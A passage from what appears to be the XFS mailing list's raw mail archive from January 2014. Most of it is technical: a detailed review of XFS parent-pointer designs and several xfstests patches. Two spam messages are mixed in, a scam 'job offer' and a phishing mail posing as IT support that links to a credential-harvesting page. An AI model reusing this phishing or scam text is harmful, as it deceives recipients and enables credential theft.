-$BTRFS_UTIL_PROG subvolume delete $SCRATCH_MNT/snap | _filter_scratch +$BTRFS_UTIL_PROG subvolume delete $SCRATCH_MNT/snap | _filter_btrfs_subvol_delete echo "List root dir" ls $SCRATCH_MNT _scratch_remount -- 1.7.1 From infogeorgewhitehead@foxmail.com Wed Jan 15 22:11:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4DE3429DF9 for ; Wed, 15 Jan 2014 22:11:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 45FE48F8040 for ; Wed, 15 Jan 2014 20:11:24 -0800 (PST) X-ASG-Debug-ID: 1389845474-04cb6c537edf1fe0001-w1Z2WR Received: from spam1.cotecal.com.ar (smtp.cotecal.com.ar [200.50.248.6]) by cuda.sgi.com with ESMTP id 5OiNWVblygECZlmu for ; Wed, 15 Jan 2014 20:11:14 -0800 (PST) X-Barracuda-Envelope-From: infogeorgewhitehead@foxmail.com X-Barracuda-Apparent-Source-IP: 200.50.248.6 Received: from localhost (localhost.localdomain [127.0.0.1]) by spam1.cotecal.com.ar (Postfix) with ESMTP id 4FBCD69DA9B; Thu, 16 Jan 2014 00:25:45 -0300 (ART) Received: from spam1.cotecal.com.ar ([127.0.0.1]) by localhost (spam1.cotecal.com.ar [127.0.0.1]) (amavisd-new, port 10024) with LMTP id iJeVbhpkBeD2; Thu, 16 Jan 2014 00:25:44 -0300 (ART) Received: from localhost (blackie.cotecal.com.ar [200.50.248.2]) (Authenticated sender: juanito@cotecal.com.ar) by spam1.cotecal.com.ar (Postfix) with ESMTPA id D18B269D6E0; Thu, 16 Jan 2014 00:09:16 -0300 (ART) Received: from 197.255.175.52 ([197.255.175.52]) by mail.cotecal.com.ar (Horde MIME library) with HTTP; Thu, 16 Jan 2014 00:09:03 -0300 Message-ID: <20140116000903.9gsjs4zyj7k00oow@mail.cotecal.com.ar> Date: Thu, 16 Jan 2014 00:09:03 -0300 From: George Whitehead Reply-To: georgewhitehead04@gmail.com To: undisclosed-recipients:; Subject: JOB OFFER MIME-Version: 1.0 X-ASG-Orig-Subj: JOB OFFER Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.1.3) X-Originating-IP: 197.255.175.52 X-Authenticated: juanito X-Barracuda-Connect: smtp.cotecal.com.ar[200.50.248.6] X-Barracuda-Start-Time: 1389845474 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, BSF_SC0_SA620b, BSF_SC7_SA298e, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144132 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.50 BSF_SC0_SA620a Custom Rule SA620a 0.50 BSF_SC0_SA620b Custom Rule SA620b 0.20 BSF_SC7_SA298e Custom Rule SA298e My name is George Whitehead, a broker based in the U.K for a number of growing firms based in Asia involved in Imports/Exports of products and industrialized goods.Would you be interested in a representative job?Please respond to this Email: georgewhitehead04@gmail.com From david@fromorbit.com Wed Jan 15 23:56:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DBC9B7F3F for ; Wed, 15 Jan 2014 23:56:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CEE198F8037 for ; Wed, 15 Jan 2014 21:56:15 -0800 (PST) X-ASG-Debug-ID: 1389851771-04cb6c537edf4580001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ScWVDelpGe394Q68 for ; Wed, 15 Jan 2014 21:56:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgweADlz11J5LKVw/2dsb2JhbAA/EAEBCIMLOIMCo1sDBY8mhVOBFxd0giUBAQEDAScTHCMFCwgDGAklDwUlAyERAhQHh2EHDjbDLRcWjg0BBVYHhDcElDqDZYExkGWDQSgE Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl6.internode.on.net with ESMTP; 16 Jan 2014 16:26:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3fvz-0002sW-Vh; Thu, 16 Jan 2014 16:56:08 +1100 Date: Thu, 16 Jan 2014 16:56:07 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. Message-ID: <20140116055607.GR3431@dastard> X-ASG-Orig-Subj: Re: [RFC 00/17] RFC parent inode pointers. References: <20140115220012.624438534@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140115220012.624438534@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1389851772 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144134 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Wed, Jan 15, 2014 at 04:00:12PM -0600, Mark Tinguely wrote: > Yeah, yeah, this has gotten buried several times and better get out on > the list for discussion before it gets buried yet again. > > Parent inode support allow XFS to quickly derive a file name and > path from the mount point. This can aid in directory/path policies > and can help relocate items during filesystem shrink. > > 1) Representation of a parent inode entry: > > There are several ways to represent the parent inode entry. > A 2005 XFS meeting came up with the following ideas: > > 1) Storing the parent inode# list inside the inode with a separate field > separate fork Too complex, rejected in the first few minutes of discussion. > 2) Storing the parent inode# list in EA names with null values > EA: Not uniquely identifying the filename of the inode in parent directory, so can't tell if name that points to inode is current. Hard links are impossible to handle. never implemented. > 3) As in (2) but store the 1st parent inode# in a field in the inode > first-parent-ptr + Same problem, didn't handle hard links. Also not enough space in the inode core to implement. > 4) As in (2) but store the hardlink names as EA values > EA: Same problem as 2, but added complexity in requiring multiple code paths to keep parent pointers up to date. Never answered the question of "when we remove the parent in the inode, who is the new "primary" parent? Never implemented. > 5) As in (2) but store the EAs on directories as well as leaf files > EAs on directories. Tried to solve problems with 4) by adding more information to directories. Even more complex, had problems with uniquely identifying hard links, really convoluted transaction contexts and locking. Never implemented. > 6) Storing the parent inode# + directory offset in EA names with null values > EA: Uniquely identifies the directory entry *slot*, but does not necessarily identify correct filename. Handled hard links if you ignore the parent identity uniqueness issue, but demonstrated unscalable name lookup behaviour. > The preferred method was #6. As it was, this once looked like the solution. IIRC, this was the design that was implemented for Irix and shipped in 6.5.28 but was never used in production by anyone because of problems that became apparent after it was shipped. It was fundamentally flawed, and those flaws were uncovered when porting the Irix implementation to Linux. Using the directory offset was discovered to be problematic when there were multiple hardlinks into the same directory for the same inode. You can remove links and add links, and the only thing that changes is the diroffset. Hence to do a safe reverse lookup, you have to first lock the inode to stabilise the EA, then read the parent pointer to get the parent directory, then get the parent inode and lock it so that nobody is modifying it as we traverse it during a offset->name lookup. But this violated the VFS directory tree locking order, which is parent->child. Think about a racing unlink that has locked the parent inode vs a parent pointer lookup that has lock the child and is trying to lock the parent. Once this problem was understood, using directory offsets was considered a non-starter for the linux port given how complex working around the inversion makes the reverse path lookups. I note that Mark's patch set will not trip over this, because the XFS_IOC_GETPARENTS_BY_HANDLE code never actually locks the child inode the handle points to. IOWs, it isn't safe against concurrent modification of the inode, and hence would never deadlock even if the problem was seen. It's more likely to have caused filesystem corruption or crashed. Further, not storing the filename in the attribute value has scalability limitations. A reverse lookup requires reading the directory entry to get the filename, and so if you have large directories and/or a large number of reverse lookups to perform the cost is huge. Every lookup has to walk the bmbt tree to find the directory data block that contains the offset, then it needs to be read from disk, and then it needs to be iterated to find the correct entry. It's a huge amount of work, and it's unnecessary because we have the name of the file at the time the parent pointer EA is created... > 7) (kind of (4) + (6)) > EA: This mostly solved the reverse lookup deadlock because it was no longer necessary to read the parent directory to find the filename. It didn't solve it entirely, though, because of the parent inode uniqueness issue. We still have to hold the child locked to guarantee that when we look up the parent inode number it matches what is in the EA, and so we still have to lock the path from child->parent->root in volation of the VFs lock ordering. First Linux solution considered, never implemented. 8) EA: , value= Solved the deadlock problems, the scalability problems, and uniqueness. Early implementation showed up more flaws with using the directory offset and multiple hard links into the same directory - we could get races with unlink/link loads failing parent attribute creation because there was already an attribute of that name on the inode. This was because of the fact that inode locks are dropped during transaction commits between directory and attribute modifications. Hence we could lose parent pointers silently under such workloads. The solution that SGI then settled on was this: 9) EA: , value= It solved all the unique identifier problems, and the lookup scalability issues and all the deadlocks, and that was what was implemented in the patch posted here in 2009: http://thread.gmane.org/gmane.comp.file-systems.xfs.general/27772 With the addition of the inode generation number, we can look up the parent inode without holding the child inode locked and know that we got the right inode by verifying the inode/gen tuple match on the inode we looked up. However, we haven't got the child locked, so we need to have some other method of knowing if the child is still in the directory once it is locked. (e.g. unlink/link races). That's where the "count" field of the EA name comes from. Each inode keeps a separate "parent counter" attribute so that hard links to the same directory can be uniquely identified by the EA name. The initial inode create always uses a value of "1", and when the first hardlink is added the special attribute is created with a value of 2, and that is used (and incremented) on every subsequent hard link. Hence every hardlink has a unique attribute name/value pair. As a result, parent lookups (for path resolution or removal) can match on ino/gen/value, knowing that if we race with an unlink and a new hardlink of the *same name* there will be a second *unique* parent pointer attribute (under a ino/gen/cnt+N name) that has the same pointer information added to the tree for the new entry. Hence it is safe to use whatever parent pointer attribute for a given ino/gen/value we find because it is guaranteed to be valid for the operation we are about to perform. A potential optimisation to improve it is that parent counter does not need to be in an EA. It's 32 bits, so can easily be added to the spare space in the v2 inode and avoid unnecessary attribute reads and writes on parent pointer creation. Hence the parent pointer structure and implementation in 9) solves all the known problems to do with hardlinks, scalability, locking order, code complexity etc, and it has relatively little additional runtime overhead. It also works for v4 filesystems - the proposed patch set cannot be made to work on older filesystem structures as there isn't room in the v2 inode for the fast-path fields. So, there are several problems with approach 6) that the proposed patchset is based on that were later discovered and solved. Mark, most of this information was given to you (but in less detail) a year ago. The patchset hasn't solved any of the flaws that were pointed out back then, and I don't see how they can be with the design that is being used. I don't expect anyone to understand all the intricacies of the problems that the 2009 parent pointer patchset solved. It's simple code, but the problems it solves are subtle and complex and were found the hard way - by shipping code for political/commercial reasons before the entire problem space was understood. That's the primary reason why SGI undertook to redesign parent pointers for the Linux code base rather than port the Irix code - the irix design was fundamentally flawed and a dead end. SGI might have lost that historical XFS knowledge and perspective, but the Linux XFS community hasn't. Hence the problems with various parent pointer designs are still well understood and, as such, the implementation needs to be done properly and solve all the known design flaws we've found in the past. To this day, the only parent pointer design that actually avoids all the known problems is one we have from SGI from 2009.... > On the other hand keeping the directory and extended attribute in one > transaction should keeping the changes atomic when the filesystem > is forced down between the directory and attribute changes. Despite > all the gore (see below) of doing the directory and attribute changes > in one transaction, I think it is the correct thing to do. Yes, I said that it was necessary a year ago and pointed you at how to do it: http://xfs.org/index.php/Improving_Metadata_Performance_By_Reducing_Journal_Overhead#Atomic_Multi-Transaction_Operations Mark, it saddens me that you've wasted your time on a dead end. I wish you had of spent your time implementing AMTs instead, and then just forward ported the 2009 patch. If you'd done that a year ago, we'd be just about ready to ship a working parent pointer implementation instead having to go back to square one. :( Cheers, Dave. -- Dave Chinner david@fromorbit.com From dcummuta1@luc.edu Thu Jan 16 10:52:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9DB447F4E for ; Thu, 16 Jan 2014 10:52:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7572230407F for ; Thu, 16 Jan 2014 08:52:48 -0800 (PST) X-ASG-Debug-ID: 1389891164-04bdf0568e2eaa00001-w1Z2WR Received: from na01-by2-obe.outbound.protection.outlook.com (mail-by2lp0238.outbound.protection.outlook.com [207.46.163.238]) by cuda.sgi.com with ESMTP id X0UhfEIu8zRJ8YqG (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Thu, 16 Jan 2014 08:52:44 -0800 (PST) X-Barracuda-Envelope-From: dcummuta1@luc.edu X-Barracuda-Apparent-Source-IP: 207.46.163.238 Received: from [192.168.43.2] (41.190.2.10) by BY2PR05MB144.namprd05.prod.outlook.com (10.242.39.147) with Microsoft SMTP Server (TLS) id 15.0.851.11; Thu, 16 Jan 2014 16:52:43 +0000 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Help Desk To: Recipient X-ASG-Orig-Subj: Help Desk From: IT Support Team Date: Thu, 16 Jan 2014 17:52:12 +0100 Reply-To: Message-ID: <2151dff9-8dbf-4907-970b-055c102fe728@BY2PR05MB144.namprd05.prod.outlook.com> X-Originating-IP: [41.190.2.10] X-ClientProxiedBy: BLUPR05CA037.namprd05.prod.outlook.com (10.141.240.17) To BY2PR05MB144.namprd05.prod.outlook.com (10.242.39.147) X-Forefront-PRVS: 0093C80C01 X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10009001)(779001)(679001)(689001)(199002)(189002)(19580395003)(74706001)(77096001)(49866001)(74316001)(56816005)(43066001)(558084003)(33646001)(50466002)(10646003)(46102001)(74366001)(90146001)(85306002)(51856001)(47976001)(87266001)(50986001)(2171001)(76482001)(93516002)(83322001)(87976001)(75432001)(80976001)(56776001)(77982001)(54316002)(59766001)(4396001)(80022001)(79362001)(47736001)(66066001)(65816001)(81542001)(15202345003)(63696002)(93136001)(47776003)(92726001)(53256004)(79102001)(83072002)(76176001)(23756003)(15975445006)(85852003)(42186004)(54356001)(81686001)(221733001)(81342001)(15188155005)(69226001)(76576001)(76796001)(81816001)(76786001)(74876001)(47446002)(74662001)(16799955002)(74502001)(15501565003)(3486003)(15302535010);DIR:OUT;SFP:1101;SCL:1;SRVR:BY2PR05MB144;H:[192.168.43.2];CLIP:41.190.2.10;FPR:;RD:InfoNoRecords;A:1;MX:1;LANG:en; X-OriginatorOrg: luc.edu X-Barracuda-Connect: mail-by2lp0238.outbound.protection.outlook.com[207.46.163.238] X-Barracuda-Start-Time: 1389891164 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- There has been an upgrade on the network server and this might affect your = account. To safe guard your mail box, = simply Click here: http://x-support.atwebpages.com/os-auth.php IT Support Team. From dsterba@suse.cz Thu Jan 16 11:07:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 389937F4E for ; Thu, 16 Jan 2014 11:07:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D3EC8F8059 for ; Thu, 16 Jan 2014 09:07:20 -0800 (PST) X-ASG-Debug-ID: 1389892038-04cb6c537be15560001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id QpM51NbNIhiDiTp1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 09:07:19 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 21D97AC56 for ; Thu, 16 Jan 2014 17:07:18 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id DE1BEDA8D7; Thu, 16 Jan 2014 18:07:17 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH 1/5] xfstests: fix minor build warning Date: Thu, 16 Jan 2014 18:07:11 +0100 X-ASG-Orig-Subj: [PATCH 1/5] xfstests: fix minor build warning Message-Id: <46203afc2c2423b9df110a38be39c632dd83d5c7.1389891730.git.dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389892038 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Make in the toplevel directory tries to process the 'group' file that existed in the previous file layout $ make sed: can't read group: No such file or directory sed: can't read group: No such file or directory ... Signed-off-by: David Sterba --- Makefile | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Makefile b/Makefile index a7f6f9d374ca..30d8747d1f79 100644 --- a/Makefile +++ b/Makefile @@ -41,7 +41,6 @@ endif SRCTAR = $(PKG_NAME)-$(PKG_VERSION).tar.gz -TESTS = $(shell sed -n -e '/^[0-9][0-9][0-9]*/s/ .*//p' group) CONFIGURE = configure include/builddefs include/config.h LSRCFILES = configure configure.ac aclocal.m4 README VERSION LDIRT = config.log .ltdep .dep config.status config.cache confdefs.h \ @@ -60,7 +59,7 @@ endif export TESTS_DIR = tests SUBDIRS = $(LIB_SUBDIRS) $(TOOL_SUBDIRS) $(TESTS_DIR) -default: include/builddefs $(DMAPI_MAKEFILE) $(TESTS) +default: include/builddefs $(DMAPI_MAKEFILE) ifeq ($(HAVE_BUILDDEFS), no) $(Q)$(MAKE) $(MAKEOPTS) $@ else -- 1.8.5 From dsterba@suse.cz Thu Jan 16 11:07:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B175429DF8 for ; Thu, 16 Jan 2014 11:07:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 28814AC001 for ; Thu, 16 Jan 2014 09:07:22 -0800 (PST) X-ASG-Debug-ID: 1389892039-04cbb04169e27c90001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 5jTWFtsOj7zDNVGC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 09:07:20 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id AC561AC3E for ; Thu, 16 Jan 2014 17:07:19 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 4109EDA8D7; Thu, 16 Jan 2014 18:07:19 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH 2/5] xfstests: use value of FSTYP if defined externally Date: Thu, 16 Jan 2014 18:07:12 +0100 X-ASG-Orig-Subj: [PATCH 2/5] xfstests: use value of FSTYP if defined externally Message-Id: X-Mailer: git-send-email 1.8.5 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389892040 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The initial value of FSTYP is unconditionally set to 'xfs' and the filesystem type is taken from the TEST_DEV. This could lead to confusion if the device hasn't been formatted yet, eg. an empty image in VM, or a different test setup took place before. Now one can specify the desired FSTYP in advance and be safe. If unset, the fallback to TEST_DEV type continues to work. Signed-off-by: David Sterba --- README | 3 +++ check | 7 ++++--- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/README b/README index a49ca7c3ff15..62974ef87b89 100644 --- a/README +++ b/README @@ -65,6 +65,9 @@ Preparing system for tests (IRIX and Linux): environment variable set to "yes" will enable their use. - setenv DIFF_LENGTH "number of diff lines to print from a failed test", by default 10, set to 0 to print the full diff + - setenv FSTYP "the filesystem you want to test", the filesystem + type is devised from the TEST_DEV device, but you may want to + override it - or add a case to the switch in common/config assigning these variables based on the hostname of your test machine diff --git a/check b/check index 320ad26b7c2c..9e4275b1fa37 100755 --- a/check +++ b/check @@ -33,7 +33,7 @@ showme=false have_test_arg=false randomize=false here=`pwd` -FSTYP=xfs +FSTYP=${FSTYP:-xfs} xfile="" # start the initialisation work now @@ -57,8 +57,9 @@ then exit 1 fi -# Autodetect fs type based on what's on $TEST_DEV -if [ "$HOSTOS" == "Linux" ]; then +# Autodetect fs type based on what's on $TEST_DEV unless it's been set +# externally +if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` fi export FSTYP -- 1.8.5 From dsterba@suse.cz Thu Jan 16 11:07:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1664129DF9 for ; Thu, 16 Jan 2014 11:07:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BC0CBAC002 for ; Thu, 16 Jan 2014 09:07:19 -0800 (PST) X-ASG-Debug-ID: 1389892037-04bdf00fe272e070001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id UAHuBorBZgShbeC2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 09:07:18 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id CEAD0AC3E for ; Thu, 16 Jan 2014 17:07:16 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 665CDDA8D7; Thu, 16 Jan 2014 18:07:16 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH 0/5] xfstests: A few updates to non-test code Date: Thu, 16 Jan 2014 18:07:10 +0100 X-ASG-Orig-Subj: [PATCH 0/5] xfstests: A few updates to non-test code Message-Id: X-Mailer: git-send-email 1.8.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389892037 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Minor bugfixes or enhancements. David Sterba (5): xfstests: fix minor build warning xfstests: use value of FSTYP if defined externally xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 xfstests: accept tests/ prefix for test name on commandline xfstests: update lsqa.pl for new tests layout Makefile | 3 +-- README | 3 +++ check | 16 +++++++++------- lsqa.pl | 32 ++++++++++++++++++++++++-------- 4 files changed, 37 insertions(+), 17 deletions(-) -- 1.8.5 From dsterba@suse.cz Thu Jan 16 11:07:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 631F429DF8 for ; Thu, 16 Jan 2014 11:07:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 05A12AC001 for ; Thu, 16 Jan 2014 09:07:22 -0800 (PST) X-ASG-Debug-ID: 1389892041-04cbb04169e27ca0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id GhVQD9HsScLKTDVw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 09:07:21 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 01A42AC56 for ; Thu, 16 Jan 2014 17:07:21 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 88121DA8D7; Thu, 16 Jan 2014 18:07:20 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH 3/5] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 Date: Thu, 16 Jan 2014 18:07:13 +0100 X-ASG-Orig-Subj: [PATCH 3/5] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 Message-Id: <49b0cf305ade3444c3dcf3fbabb5e1e5e720c16d.1389891730.git.dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389892041 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 